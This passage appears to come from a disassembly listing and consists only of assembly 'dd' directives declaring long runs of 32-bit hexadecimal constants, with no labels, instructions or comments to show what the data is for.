		dd 270CDB06h, 5C2FFD4Ch, 0CAA648A3h, 2FE28109h,	2EC0EE8Dh
		dd 0F88E879Ch, 0A62712ADh, 6A0AA911h, 9FE5DF77h, 0C1E89A48h
		dd 92E33D87h, 58E2DFAh,	0A1316C00h, 0DB7270A6h,	0AD166D79h
		dd 1A92ED14h, 0C59203E7h, 79B0C1DDh, 0D9801706h, 80D68406h
		dd 3E8788F2h, 0E9332979h, 0C47C9839h, 0BECD0596h, 4BE3DBCEh
		dd 0D8FA747Ch, 0CF168D28h, 40789AF4h, 0C2AA942Dh, 0A6B3148h
		dd 81A01487h, 0B049AAB7h, 14A86BF0h, 0BD637554h, 0ECF168A0h
		dd 2B8DE72Bh, 124873A3h, 779D79Eh, 6DEA0302h, 25338C26h
		dd 0EACA36Bh, 1E30C9EFh, 8697B899h, 5B170C32h, 629B82DDh
		dd 75101B5Fh, 19B0338Dh, 0F55146FCh, 4EF6A36Eh,	432E3FC0h
		dd 315DB479h, 459B4D96h, 0F3957C15h, 0FADA27E5h, 4DEB8B4Eh
		dd 0A48E189h, 12C08CD8h, 0EED627D6h, 3D308844h,	0CEE90E9Bh
		dd 0E00DE55Bh, 91FEA02Ch, 2722DFCEh, 0DEEBF79Eh, 97F1CE00h
		dd 0EE8F60B8h, 0FC046600h, 2808874Eh, 0DA31ECCFh, 383E33h
		dd 9A365F05h, 0DED02284h, 7B7B6FB1h, 849D0276h,	127737DFh
		dd 50F4C50Dh, 0B71AD80Dh, 634BBC73h, 0AB68A830h, 108A3EFAh
		dd 8E21EEF5h, 8F83798Dh, 0E3B6F6A6h, 0D555308Dh, 0CF50C76Fh
		dd 6E2A5371h, 74198311h, 69D33E72h, 0DE5EE416h,	0C401722Fh
		dd 0EC118FD0h, 0AD00EDB8h, 3372494Dh, 32FC5EE2h, 6872813Bh
		dd 78F3D30Ch, 18B9EB7h,	0AA63D5AEh, 0A33DE6D7h,	0A2C2B0C7h
		dd 0CCA5F719h, 0F03AF2C5h, 656EF4C2h, 0CDD8B000h, 264C289h
		dd 57BEAAD1h, 484ED975h, 8396690Bh, 9C930048h, 0C6DD8115h
		dd 8D00C193h, 389E310Ah, 62E0D195h, 355C058Eh, 1B631047h
		dd 3D63450Ah, 0CC4D18E3h, 0A1A18995h, 166C719Eh, 0B1D3F855h
		dd 2A6003h, 39EFA6E4h, 0EEB9B0EDh, 0C72D1C1Eh, 7F1748C5h
		dd 1566A0CDh, 0C58E4EF4h, 7CEA46FCh, 7AF54324h,	1E165814h
		dd 0C474B8F6h, 604E9581h, 200DD471h, 0AA7D0751h, 0B011C84Fh
		dd 0D59BCD0Ch, 0A8677E6h
		dd 83E73584h, 7655CD3Fh, 29FC1619h, 477BCC15h, 0CFB3FC95h
		dd 6A3217ECh, 90DCB66Ch, 24085C11h, 5F1722C3h, 8BDEB49Bh
		dd 0E54DE991h, 0E124119Eh, 2E7CC666h, 0F57924BAh, 49998769h
		dd 18DD3A5Fh, 6BFC8387h, 0A5993E11h, 72E2C94Bh,	0FE7B7C89h
		dd 54310D71h, 0B64EB873h, 81B5CE91h, 3CDD7CC4h,	0B71F877h
		dd 0F7B7AF2Bh, 7120700Fh, 7901B3F0h, 883ECCB8h,	156890F2h
		dd 2B0D4062h, 0C22B4C05h, 4DF31380h, 7CB202C5h,	0BAA69585h
		dd 7A3AB153h, 0AB1DEA71h, 0B005E5A3h, 0D6874658h, 3C909C36h
		dd 6B49CF6Dh, 0BFA8A71h, 0D7C22BA3h, 3D84FF59h,	0DE616A90h
		dd 618D3F01h, 0CFFF6042h, 0B3B6DF3Bh, 0AE99B3DBh, 0B03CF501h
		dd 165EF055h, 2BB61552h, 54D3B19Eh, 0C4A43FC4h,	0B8AE799Dh
		dd 0DE382BBAh, 5D8B9CA5h, 38F751FBh, 258DD3D9h,	0B384515Ah
		dd 4E76D87Ch, 0FCCDA63Ch, 0A1A6AAA0h, 0DDB5E765h, 9F66F540h
		dd 0E846041Ch, 0EE5D8243h, 36387A7Eh, 2B7C503Eh, 55C6AB2Bh
		dd 449545C8h, 10A50EDDh, 5462B4DDh, 0C275D810h,	3B99FF6h
		dd 0FE708047h, 317000D2h, 9433A72Eh, 796304FBh,	5A1A6C02h
		dd 116FE955h, 7A63CE67h, 0D7F805D3h, 2FAC8187h,	0D87BA19h
		dd 7E51CFB6h, 56D7D37Eh, 52B929A3h, 7ACA14D5h, 66439FE1h
		dd 4F95DB65h, 0E2D3A57Fh, 0D1A35708h, 0F4557E88h, 70031E18h
		dd 4C74C5D1h, 34364B80h, 7A4AA7B7h, 0D190D920h,	0D936C063h
		dd 9ED17AFFh, 0E03544C5h, 1F6CC8D4h, 0BBB3E3D3h, 0E27A1051h
		dd 7639567Bh, 869CB5FAh, 0FF35081Fh, 83605209h,	36E51216h
		dd 0FAD9B75h, 0A83DCD66h, 0EA44A602h, 80EC2CCh,	5EAF3724h
		dd 0EBADA67Dh, 0FC346893h, 84C3ACh, 0E0D2130h, 2C739873h
		dd 13FEC6FDh, 0CFFF682Eh, 0F81B3E03h, 1BF65A20h, 195C7D86h
		dd 67863443h, 0B9F85CE3h, 0F1351591h, 6A750582h, 22902408h
		dd 42BE2B2Ah, 88A66004h, 84F2D8Bh, 0BD237D57h, 9E05969Fh
		dd 0A271DACCh, 34CF8DCh, 40A50E7Ah, 29CDC109h, 58E1D0EEh
		dd 31EA649Fh, 2516AB8Bh, 9C59F539h, 0C560ED50h,	9638009Ch
		dd 486C0E4h, 0D6DCEE02h, 0AF17BC99h, 1C924E22h,	5BE730A7h
		dd 0D3DC5BFFh, 0EF4DEDA6h, 5AF2368Fh, 0A91AE38h, 182234C5h
		dd 0C1D0CD2h, 2F5595Eh,	88E8E617h, 90E1F25Eh, 50F9D32Ah
		dd 0F1D6E2C4h, 0D09A5CF7h, 8FFF41E5h, 5C591D3Ah, 264A8C76h
		dd 512F51E3h, 71AF4987h, 1B6A8A90h, 0B4F9397Dh,	0CA8214BEh
		dd 28B1FA39h, 1C8C63F6h, 0F6D37811h, 9676AC68h,	311F1200h
		dd 0F791E8D0h, 9420A60Eh, 0F7D4B66Fh, 0C4814B1Ah, 0F039B5BDh
		dd 408470F5h, 0B84B73CAh, 0ABFC546Eh, 951E77C4h, 4D4644CAh
		dd 9B921D38h, 4EF2764Fh, 3D3B8F17h, 0E633EED9h,	5015A974h
		dd 5DCF5458h, 49AA4504h, 9BD83913h, 0DA58ADFh, 11B3425Dh
		dd 0CF2041B4h, 74D3C81Fh, 0BF1E23A7h, 0C136DCF9h, 21BBB7BDh
		dd 0ACB772A9h, 0F94F2CC9h, 70B10FBFh, 4BDC6E1h,	543518A9h
		dd 0B1DE2B77h, 445CA226h, 0D7059488h, 1716E8C1h, 80C6C6Dh
		dd 22F966EEh, 0B1B6850Ch, 66C95DF9h, 0C62FB9FBh, 9FB62681h
		dd 0FA1E5228h, 0E03B2B40h, 0FDB337Bh, 0D4517C5Dh, 50E72A55h
		dd 948C8864h, 9CFC43E8h, 16A9EC02h, 0D1E7049h, 6F1EA1D7h
		dd 0F999135Bh, 2A42392Ah, 760BD90Ah, 423E1466h,	203372C7h
		dd 7A08EA14h, 0DF464614h, 59EEE412h, 0C932B4F2h, 5B6B66CFh
		dd 0F5B193E6h, 11A1C684h, 5A2B16E5h, 3F39EBA1h,	0ED182B9Ch
		dd 0C10E8D8Fh, 20E10B4h, 0D4A55F78h, 668F24D8h,	1EF1C99Fh
		dd 4210B5BDh, 0A425291Ah, 19EE2C93h, 0B8A737D0h, 0C2FBBFD6h
		dd 7B23214Fh, 6F67EB48h, 0BF5D43FFh, 26C570BEh,	8E87865Fh
		dd 0D1B8D1A1h, 0C199DEB5h, 29199E6Dh, 0D08DC035h, 3A37B42Ah
		dd 0BF3853C2h, 0BB9F5AD7h, 1C041FFDh, 34C00C93h, 0F621EF17h
		dd 934073B2h, 0C7DB01Dh, 0D1C11B6Ah, 2963CA4h, 5C25C68Fh
		dd 7C125E6Dh, 0E41EEED3h, 194DD5BAh, 73CF002Dh,	0A5FCF24Dh
		dd 4D79CA26h, 1A4C6F12h, 9CE58AEAh, 0C1886520h,	742F8D4Fh
		dd 0D9544C00h, 0BEB00F3Bh, 0F5B559F1h, 0C33D98DEh, 31A2440h
		dd 0C8FFA9BCh, 0F8523EDBh, 35B0526Ch, 41665B35h, 0CED6C31Ch
		dd 0D8A31DDEh, 32CE500Dh, 0AA6C6AF2h, 0C3B7ED09h, 14F33021h
		dd 0AB5DBE58h, 0A0DA2034h, 1FA21375h, 0A2CFCCFEh, 0D31182BFh
		dd 7F41913Bh, 67C81806h, 87C0F407h, 0DD34A9FAh,	0EF7FABA0h
		dd 0A3B902EEh, 0FCD72163h, 7F922A5Dh, 9539C0B0h, 314A1F7Bh
		dd 4E7D7E91h, 0B00A104Ah, 0E9C86EDEh, 792F0724h, 90D287D5h
		dd 710F5DCBh, 0A453792Ch, 934283B2h, 198C93C2h,	8FDEBBA5h
		dd 71C53F71h, 9D82D818h, 0F133BAEAh, 5BEDCFF2h,	400887A4h
		dd 0A50380BDh, 3741C75Eh, 8501AD19h, 953D17E9h,	0D314EFC9h
		dd 0AFD3A0A3h, 0CAEC990Eh, 0F41AC763h, 84EDEED2h, 0F09BAD43h
		dd 797DD344h, 0C33A381Fh, 3C65E5F3h, 0C173297Ah, 0A186932Bh
		dd 333EC08Ah, 0F6A4F2D4h, 0CD92F406h, 246E42ECh, 7FE503DCh
		dd 599112E8h, 0D3C12F9h, 702BCAAEh, 98F9547Ah, 3321513Ah
		dd 0A3009BCCh, 640E50AAh, 3A5E605Ch, 0B8A1E396h, 988C4D26h
		dd 6A317DF8h, 8732279h,	5705C5B9h, 19497800h, 97DF454Fh
		dd 2C9DF4F6h, 1F0CD437h, 71596CD0h, 40222DFFh, 1A9E59A0h
		dd 85F667EBh, 0D47239CDh, 479E82ECh, 0ACB9237Eh, 0D91B1F74h
		dd 829859EEh, 7D91FEC6h, 0FBA5BF49h, 0F6028F31h, 0E8AE33F9h
		dd 0DB7DB6Dh, 2B1C9507h, 7524D362h, 9514D098h, 8C2FAA1Ah
		dd 0B42135F0h, 7B409ECDh, 56ED1CC5h, 0B67B8E6Ch, 17B74DA3h
		dd 0C3BB87E4h, 66E327D1h, 87CF8AD0h, 0AF39F422h, 9585C6F1h
		dd 45132C87h, 8C9F5750h, 0C0EBFA38h, 7CD59835h,	0AFC461C6h
		dd 3E275A12h, 8F6C77DEh, 0ED3674A3h, 7FDAD0C7h,	8E01501Ah
		dd 2F8A4118h, 0AAD48754h, 95D30F8h, 9A343051h, 73C09AFEh
		dd 1401173Ah, 2A43C099h, 43C12FC3h, 95965397h, 51F22F56h
		dd 9ECD634h, 0FCA3D637h, 8CB61B5Ah, 124F7033h, 0C7A95A65h
		dd 75126E52h, 124A705h,	191A7B83h, 57C8C454h, 2B8EE9D0h
		dd 8115EED4h, 0E386B65Fh, 2C351F2Ah, 1B19421Ah,	0E67B2CF5h
		dd 73A92560h, 0B18DD30Ch, 792F1A1Ch, 0CE54B9C5h, 0A15C4986h
		dd 442EFAB8h, 0C83D93F8h, 8C2515B5h, 2B987A59h,	488C70F8h
		dd 3549A699h, 1566FF68h, 0E4356B02h, 9A25C779h,	8E8206E3h
		dd 9FFC8723h, 0D095E658h, 3F6275F9h, 0A6C57231h, 77ACBE78h
		dd 0ED3D98A5h, 0BA4AB82Ch, 552B41A0h, 0EED0690Fh, 0AC7F6FC9h
		dd 80BE8D08h, 0DF92CEECh, 47895F6Dh, 4269C5EDh,	0E821783Dh
		dd 4F18392h, 15697142h,	78321FC0h, 72143942h, 0DB16431Bh
		dd 85473980h, 4A62B6B7h, 3EEE6142h, 78169E5Bh, 0E8F5B8D8h
		dd 4742DBB5h, 12846877h, 74C6CB7h, 58C0E5BFh, 745177Eh
		dd 0DC5FF464h, 0E5F1875h, 0ED779273h, 3116C7CCh, 6044550Dh
		dd 6715EDE2h, 0EB1D673Ah, 5CCA2685h, 62DE210Ah,	0A827F407h
		dd 6FA44540h, 878A5D11h, 3C1FCE14h, 74447FFBh, 558D016Fh
		dd 1DEC0552h, 14B9AD73h, 0CB4A28Ah, 0D38995BDh,	0A921A7C2h
		dd 0CC5F428Ah, 935974B1h, 43B57912h, 0E9E4338Ah, 0E1F1004h
		dd 0C0B5172Eh, 44C51F9h, 237FDDDDh, 0B4D5EF93h,	297FD8CEh
		dd 6C4722C1h, 0F827EBFh, 0A4B15106h, 3F629504h,	0F94F3481h
		dd 0E227AC16h, 0E7CF7B43h, 0E6751585h, 7F3A6E9Bh, 9E5538A1h
		dd 2193B07Bh, 9C9147DAh
		dd 3FA3FDDFh, 6E6C64E5h, 0E83F3AA4h, 3C8BEC87h,	0E196C317h
		dd 1D1FCD64h, 3ED231F2h, 28DDF7C6h, 0DD52CB06h,	0A5371045h
		dd 0DBB81E3Eh, 0C193B8A0h, 0CEF75C82h, 4B61228Bh, 83A83968h
		dd 5B1CDEEAh, 91035510h, 2F095C81h, 3F6D7ABBh, 0DFF0CB0h
		dd 0BB0DD841h, 129CF4C5h, 188B6C56h, 0FE80B5ECh, 369B9D6h
		dd 862240F8h, 0BECE10FEh, 0B72A6C54h, 94A299E6h, 1DBD1C82h
		dd 0E65856E2h, 0C2DF7860h, 72D041BFh, 621E10E1h, 300C0BC4h
		dd 0C370C2A1h, 0C8EAF0C9h, 0CEBE49D7h, 0AC9534F1h, 7C9D6F5Ch
		dd 9AA44EB8h, 0F317CB4h, 2261BC18h, 499EB417h, 0FB534257h
		dd 279A89CFh, 0A0BDD32Ah, 2407B42Bh, 7A78CE8Ah,	9E030191h
		dd 0B41948CDh, 0D76E1859h, 90EE5031h, 8E7EFC85h, 0CE38D959h
		dd 20098983h, 0C5472352h, 0E8D4DAF7h, 0B2E4DD54h, 50A61754h
		dd 838B1A97h, 79A908B0h, 9067F0E9h, 0CD0B6006h,	0D71F68B3h
		dd 0B121D725h, 10D6D432h, 0D9B69812h, 34C235DEh, 63B6E720h
		dd 0F2EFC819h, 0D2B9DCBFh, 7EC3CFABh, 27515F93h, 7DAC427Ch
		dd 0AC556D39h, 4A27AFD8h, 0DBC88125h, 406080E6h, 2D30A714h
		dd 0B7D78BCh, 9B6C82C3h, 83471B91h, 0C6B3791Fh,	0EE2DC8C2h
		dd 9DF1512Ch, 0E85868C5h, 91490007h, 47A4960Fh,	224B65Bh
		dd 2586548Dh, 46E9A584h, 7EC56F5h, 9D02C2C7h, 702C5E1Bh
		dd 110C84CCh, 0AA59A077h, 4546463Eh, 0FDDBF155h, 0C82A2391h
		dd 756C2EEh, 216E0053h,	2FA6ACh, 3842624h, 0DE18A86Eh
		dd 0D1DE77E6h, 1BA2E297h, 0B5A24DBEh, 7F75A1Dh,	0F9C41D2h
		dd 3F7FED4Bh, 492AC721h, 0F78A619Fh, 934E5F7Ah,	0F71664Ch
		dd 4C14CBAEh, 49313C42h, 0AA54ADE7h, 0EB1926F1h, 73D8BCAFh
		dd 138A4DA2h, 6D6622A6h, 6D70C4FEh, 0E14A8AA9h,	0B25B5DF3h
		dd 0DDD881FEh, 2068435h, 953ED9BEh, 0B9550FD2h,	280AA5CBh
		dd 9E438963h, 0C897AAFDh, 0D19D615Dh, 6FF7EDE6h, 4E859860h
		dd 0E7018B30h, 0F506ED53h, 9E5C2ACFh, 22CA021Ch, 0F058DC6Ch
		dd 0FEC85FD3h, 4B345C77h, 4AEC5973h, 7A5B2946h,	0C4C4473Bh
		dd 74151990h, 0CA93FDB5h, 851183F2h, 4E2E2EF9h,	0B0F9B569h
		dd 7426B596h, 9C116C06h, 0ACC78EC4h, 6DCB744h, 16303F7h
		dd 0CAA60898h, 91A7D514h, 0A62716E2h, 0B10B6526h, 0A08E3035h
		dd 20CAF24Eh, 2F8EEF7Ch, 91A733CEh, 0A56E874Eh,	90DE908Fh
		dd 3636D151h, 0B3915EC2h, 0D923E7ABh, 0B6D0AD40h, 146F15D2h
		dd 1601BFF8h, 0C00763DFh, 8899C256h, 74F00E97h,	0CC8D397Dh
		dd 2B2918ECh, 1BFA64A2h, 16FE6556h, 0EC54F31Fh,	18CB24F2h
		dd 373AC944h, 65B0B076h, 21830634h, 158CF2E5h, 8041340Dh
		dd 5934866Fh, 0F4DDBC31h, 315E080Ah, 0CBD6F9E0h, 4B2D32B0h
		dd 0C64EB99Fh, 0E97A5810h, 0B0C244BCh, 6CFC49F6h, 0EC9C9785h
		dd 270F55C6h, 3C48BE1h,	1BE5E4A7h, 0D2F958DBh, 0C64EC235h
		dd 14A39F4Ah, 0E2F47808h, 0C308D618h, 0E888994Eh, 6305BA7Ch
		dd 0CCFF7770h, 0C0E40870h, 4D0DBE74h, 0C72E7A38h, 2E5E755Eh
		dd 54470634h, 0E0EF90C7h, 9EA652DFh, 0F2BDCB1Dh, 7B9925A9h
		dd 0DBF1991Ah, 0B0EFC506h, 0CE5944C9h, 0EFF14AC9h, 0BA4419C8h
		dd 6FFB7EFEh, 455413C8h, 4A98645Ah, 0B1C78A2Eh,	0A01BC8B8h
		dd 0ED735B0Dh, 233EA31Dh, 0E59FBB68h, 36D13B7Ah, 608453BFh
		dd 0BA0E45A7h, 9A88DE00h, 7A7CD1F9h, 0D277419Eh, 6945B1AAh
		dd 0F4621FA9h, 0C1620FCEh, 71305662h, 25A1036Bh, 43E35812h
		dd 0A144A010h, 5935C4Bh, 13B5A920h, 888D5ECCh, 0C08B12BCh
		dd 0DA44EB77h, 0DB044528h, 35E7D709h, 14E6C22h,	0CD8CB640h
		dd 2E04DEA9h, 0EFB77E54h, 0B53B5C93h, 16CD040Ch, 677989B3h
		dd 7D3E839Bh, 0D72F43D9h, 40A69EBBh, 0D8CFA295h, 656903E1h
		dd 64152E0Eh, 0AA6D70CEh, 4F9F102Ah, 0B13D022h,	0DE8A16BBh
		dd 0BCFE175Fh, 12AAA169h, 3F2BF3BDh, 57BB0BA5h,	78F3B8F9h
		dd 36AE671Bh, 6F8D3224h, 532F3AA3h, 820767F5h, 4FF3DB68h
		dd 9C0C7674h, 0EFE9CCAFh, 532826CCh, 0FAA78667h, 52EC27B9h
		dd 0BF482C57h, 100B6B4Ch, 0A0D9EF21h, 2B7AAA6h,	0D11449D6h
		dd 0EB224C1h, 33E174F7h, 0FF6EA782h, 270E8F19h,	4F98690Dh
		dd 0D29C4C0Bh, 1B508A25h, 0E4FF8BA9h, 7694E2A1h, 91103B0Ah
		dd 190AECC0h, 1CBDC267h, 0F0A89FBh, 0C568F123h,	3000DDA0h
		dd 2229C7BEh, 5E11BC3Ah, 64EB2ECh, 22C16D2Fh, 0AB99BDFh
		dd 0F1BDBC52h, 4A934157h, 25B2737h, 965C592Ch, 9FC593C7h
		dd 8F25CB91h, 0BB37B8h,	9443EED3h, 71A86837h, 631170CBh
		dd 4435B812h, 0FCD61Eh,	0AF870019h, 996150D8h, 77AE3D43h
		dd 926FF266h, 79851AE4h, 5E514ECCh, 0C33F2CAh, 57A7E91Fh
		dd 0F2B6656Dh, 0B3A7CA2Dh, 5E3B9EF6h, 1F7BF7A4h, 0EEE7400Dh
		dd 61542813h, 0C610A19Eh, 0A603970Fh, 0EC87E408h, 99C20682h
		dd 3499C1B9h, 0BFA3AF1Bh, 0F70DFDF5h, 6096D79Ch, 519FC8F4h
		dd 3A7A8415h, 3AA4C39Eh, 5DA75B8Bh, 55566646h, 387D21C2h
		dd 0EF0B938Dh, 30A9A28Ah, 0C5437CBAh, 2D0471A5h, 250CBD82h
		dd 28B0FC35h, 72BAFD09h, 75FCB30Ch, 0EFA53947h,	0E5C69695h
		dd 2E0BB615h, 0BC15C85Bh, 0FA3F58E5h, 242DD86Fh, 621F29B5h
		dd 0FFD325A6h, 0B808CD92h, 25DF6F00h, 1F2D3BFCh, 1DFF307Dh
		dd 5576F5F2h, 0BFC480Dh, 6713E61Ah, 9B52F77Dh, 9ACF81Bh
		dd 0E41CDB1Eh, 576CD92Dh, 57D873D1h, 76AAC50Fh,	0DE10A498h
		dd 0CD9F99DAh, 535B5FFBh, 0ADA78BABh, 82A288E4h, 4E961ED0h
		dd 84D7E740h, 80AC8E5Bh, 98D63C3Dh, 1DAF5BEh, 57C980DAh
		dd 0E991702Ch, 0E40261A2h, 4136A006h, 606AA28Bh, 0AB4BA723h
		dd 0FF214F0Ah, 0BD037FCDh, 60DF5271h, 0D513898Bh, 50D6DE8h
		dd 9EE5A076h, 0E4700E02h, 4E20CBFEh, 0B60C912Dh, 0BA4ED351h
		dd 5C28E10Fh, 4E26A7EFh, 8F07919Fh, 2F033648h, 1A326E65h
		dd 0FFF5371Fh, 0FD67724Eh, 6F5AA1DBh, 5FA1F5FFh, 93029FEh
		dd 91ED7177h, 12641AB7h, 243CEF1Bh, 0EFB580B6h,	69289296h
		dd 5CEAAB26h, 0A81292DFh, 0C986385Fh, 0F77B26Ah, 0E8FBA8FFh
		dd 896B706Fh, 88639CFAh, 0B9B1C09Bh, 2B19696Dh,	0FE525666h
		dd 0A1F3E059h, 0DF2D8524h, 329D3F46h, 0FD97C7B1h, 5988BFB6h
		dd 0DE5DF54Ah, 27ABC044h, 0EB73AB30h, 4D1B2191h, 0E91F14AAh
		dd 732F5932h, 0DFAEA09Ch, 9C74869Eh, 0DA3A6729h, 38D91C88h
		dd 0AAA1842Dh, 0C559D592h, 77E81A6Dh, 2CDBB0E5h, 9090734Bh
		dd 5DF87454h, 9FF414DAh, 7362F686h, 974F313h, 5BB3DC15h
		dd 0A79233FBh, 0C4AA937Eh, 7ECD89FEh, 2910E253h, 344AB0BDh
		dd 0BAEA191Dh, 0DAAD9909h, 979338DEh, 8E98E121h, 0FDD804BDh
		dd 0B9530C21h, 0E71528E4h, 0CC5CD69Ch, 6467396Ch, 2A64935Eh
		dd 8F8341FDh, 0BF70355Bh, 0DE75FEE0h, 5E342E77h, 47256771h
		dd 0DABDE298h, 0E43E3669h, 6443B69Eh, 38819B0h,	4D498A6Ch
		dd 184134EBh, 63534358h, 41A35847h, 115CD02Ah, 63D9E9E1h
		dd 7E5C6857h, 84ED955Ah, 0F5762C7Bh, 801C5DF3h,	20625318h
		dd 0EA329CD3h, 64DE5DD3h, 0CB98950Ch, 563F47Ah,	0EDE80ED1h
		dd 4D6EAEA2h, 0F4B3ACF1h, 0B4381C0Bh, 0D1C15B52h, 9BB93FEDh
		dd 56DB0E46h, 0FF88DF2Dh, 0A27F69A0h, 0F795B9FAh, 0EA05C3A2h
		dd 7C6DA3ECh, 7744264Fh, 9DACE13Ch, 0B1AC412h, 3C1AC654h
		dd 650F242Ch, 0D3B1D50Dh, 76582008h, 0B4FBAF26h, 0F9795AC8h
		dd 0AD8F463Fh, 1CD7FA6h
		dd 0DB2E8690h, 0AB7C9539h, 1ADDBED7h, 341813AFh, 0B29D9659h
		dd 72520708h, 0A3D06E3Bh, 1C21DD9h, 0A5E8D707h,	87D008F3h
		dd 792EF715h, 0BFF3DBAAh, 299193A3h, 90ACE600h,	0E27B58BEh
		dd 595B52ECh, 0CCE34F26h, 70B2C057h, 0CBFD170Eh, 5BBF1F44h
		dd 4E6C6AACh, 0B9FF0871h, 44CD4DF9h, 1383412Fh,	0C2EA1C16h
		dd 0DDF61D2Dh, 258694FEh, 0E1AA5342h, 8F1692FCh, 6B4704B9h
		dd 0CA85D411h, 795BC3EFh, 725F89D6h, 93D86E5Ah,	0A35828ABh
		dd 0E1EA127Eh, 0F3B76475h, 0C7A857B5h, 0BFD2C59h, 0FF47608Fh
		dd 2605BB7Bh, 4C4BE713h, 2B5AEA1Fh, 0DAACFDF7h,	61B41320h
		dd 65DF2A94h, 17404CE1h, 13F9C8D4h, 0BAA4F525h,	5BE4D971h
		dd 43F38AA8h, 5111DC84h, 2C91E860h, 0D5D3B1AFh,	0DCC109DCh
		dd 7B233D6Ch, 0DD505579h, 0B697A7C5h, 5DDBDAFEh, 0CA8DA451h
		dd 8FB6B0CCh, 0E23D88BDh, 2EF83536h, 1494C717h,	0D35FAFA6h
		dd 65A05D35h, 981869F9h, 3FBD8790h, 0B4DBEB48h,	647BA748h
		dd 0E34F9FCEh, 23BFE961h, 0A61C551Ch, 0D267C0B6h, 92310DA1h
		dd 0FCF46848h, 8802C556h, 8A06C879h, 265693CAh,	8919A125h
		dd 39436CECh, 546EEABFh, 4B033F20h, 2DCA559Dh, 0C59E3F22h
		dd 8E19F201h, 13272F19h, 1DC2102Bh, 72892970h, 32DA119Eh
		dd 0E82433A0h, 0DA58F47Ah, 759A3244h, 15981EBAh, 7984976Ah
		dd 0AD73B7B4h, 267C9CE8h, 0CF57C75Bh, 0AAEF0988h, 0C7C33032h
		dd 0F564E782h, 401E823Ah, 789FBD4Ch, 0B896895Ch, 8ABE31D5h
		dd 0C8ABDAAh, 96C820CDh, 565F9208h, 0C3536744h,	0EDDD848Fh
		dd 0A23DE244h, 7EC8054Bh, 4C14DFD8h, 35B54F9Bh,	0ABDC29D7h
		dd 773DF13h, 9C1F88F5h,	0D8CEFED2h, 0C2E86866h,	0DB6D0AE8h
		dd 294BD671h, 5DEDF942h, 5A3D2761h, 985B769h, 0EAEC32DDh
		dd 5A10DB1Eh, 2DA040DFh, 362FB5CEh, 70111822h, 0E80F04E4h
		dd 0C10A0D8Eh, 2EE9E42Fh, 0A11EACBCh, 0A076B303h, 6793390Eh
		dd 20C944EAh, 8765FC93h, 4D73F4D7h, 0F614065Ch,	16804D46h
		dd 1ABD4652h, 9C476F96h, 0B54C4361h, 0BDC78F11h, 7810E6CDh
		dd 0E29F032h, 5C190812h, 68B34AB8h, 0C8E0B6ADh,	0CCBEA631h
		dd 0BF406CA5h, 0EB8ADC4Dh, 0C2BB5AA3h, 2709E29Bh, 3434837Eh
		dd 0B2B90AB1h, 30874ECAh, 25D3A89Fh, 2673BDh, 0FFC77954h
		dd 0F0DBA7FFh, 0FDDC1844h, 69F222C8h, 969B6BCAh, 0BC7DF7BBh
		dd 45C9ADAAh, 2BC81E87h, 8F36D26Dh, 180CE84Fh, 261491EDh
		dd 91584D0Fh, 28EA1191h, 0D7627CEEh, 600FF786h,	0D5A6D7ADh
		dd 40D88D91h, 94413410h, 0D1AFE743h, 0A4B42BDFh, 0F130CF37h
		dd 0A81511FBh, 2DBE0209h, 289323E0h, 1FCB1E47h,	0BF86B446h
		dd 0CDC7BE2Eh, 26117034h, 0A6B67FFFh, 0C119104Bh, 28023E75h
		dd 557DE533h, 0D30A7A2Dh, 65ED876Dh, 0B828E751h, 9397BEF2h
		dd 80A8715Ch, 413E9140h, 82A5D59Eh, 0C1E936F2h,	0E45AC7C6h
		dd 0C43BE90Bh, 857D26D1h, 605B0E4Ah, 8459F82h, 8A3E1B1Bh
		dd 1AA6E071h, 68D5D976h, 7377673Bh, 0E6C32D8Eh,	96492A78h
		dd 642A8A56h, 855E1BE1h, 8B8E9847h, 7B390972h, 0AD6C03E0h
		dd 34AC2F53h, 0CE32FF9Eh, 5B6E49AFh, 0D6F44B9Eh, 73431E27h
		dd 0DDDA4680h, 796BB9B7h, 9D4DC390h, 1340892Eh,	5703DD54h
		dd 61ADE932h, 8F72048h,	0B675F60Bh, 3FD5DA67h, 7B95A721h
		dd 254DC663h, 4D2186C2h, 0BB14C699h, 0BAED8F01h, 0CA2304A5h
		dd 0A0B2BBC4h, 3038D9EAh, 554CCF40h, 10521D28h,	0B26AD4DDh
		dd 103F59C2h, 80F7D371h, 6D39E798h, 0D2ABF1D7h,	0DEC3D32Eh
		dd 0A25CBE9Fh, 0C78EDA7h, 1A5EC330h, 7B0B9B45h,	9A1BB7A8h
		dd 88EBF1D9h, 6A03444Eh, 0BAB02363h, 0E41D566Ch, 43AC71A5h
		dd 0FC31C207h, 4A04CDA8h, 84FFEB52h, 0AF7C45E9h, 1016DACBh
		dd 1102CD1Fh, 96C73AC6h, 7E8AB643h, 1C061BF6h, 41277321h
		dd 0DCF84090h, 0FB43C6BBh, 0D98902E5h, 8C58AA6Bh, 0BD4A4B64h
		dd 9A7A82BEh, 5AF2A900h, 0CE56D4ADh, 0AF78BB98h, 8A6C00A6h
		dd 92805201h, 2EBC9C3h,	55454B35h, 0FC82589h, 79A7F060h
		dd 86492D5Bh, 22B47802h, 476962E1h, 0BA164923h,	0B5CDB973h
		dd 0D305D64Fh, 0D6EC0917h, 72EC8B46h, 0F0C987A8h, 66D596CBh
		dd 9ACA7E0h, 20F3AA00h,	5EF59074h, 16E21BC5h, 616F2315h
		dd 7F4470F4h, 974DFCEBh, 6F3F7182h, 52431DA6h, 1A7C2DFBh
		dd 3A30CBD0h, 0D198DDB7h, 0AA3A4D8Eh, 2DAA3F37h, 685B1169h
		dd 87DEDC5Ah, 71782755h, 30C6810Ch, 0BCD38243h,	2D0197AEh
		dd 0E283350Fh, 0DC1B2D8h, 9C58427Ah, 65FE2ACCh,	755C53C7h
		dd 200FBFCAh, 1BF2D575h, 570D93A4h, 0E8DE7B26h,	0AB96D02Fh
		dd 7138E96Ch, 0ECB7B148h, 0FB8BBD21h, 0AE25F911h, 679BAB1Fh
		dd 0AF48728Ch, 0BCD4F172h, 0B20F056h, 3A5F806Ah, 27138855h
		dd 0ED2CF3D1h, 0F3E95F06h, 0A0097831h, 54AA0538h, 9BC7B302h
		dd 229760CEh, 9E2C23FAh, 53CAEAD9h, 0ABE16A5Dh,	3C42E54Ch
		dd 98B76EAEh, 0BFB91930h, 41E9C3D8h, 382AE4Ch, 8B89E0DEh
		dd 971DFCB1h, 7801ABA9h, 1BD2C127h, 2CAD362Bh, 7E402B56h
		dd 0B9C8A46h, 0AAF152Ch, 0ADA7E4A6h, 8CC183Ch, 0E7E70A28h
		dd 0F731FA1Ch, 0CF1DAEA2h, 0BA339FBCh, 4D3E94F1h, 0E22CE8B0h
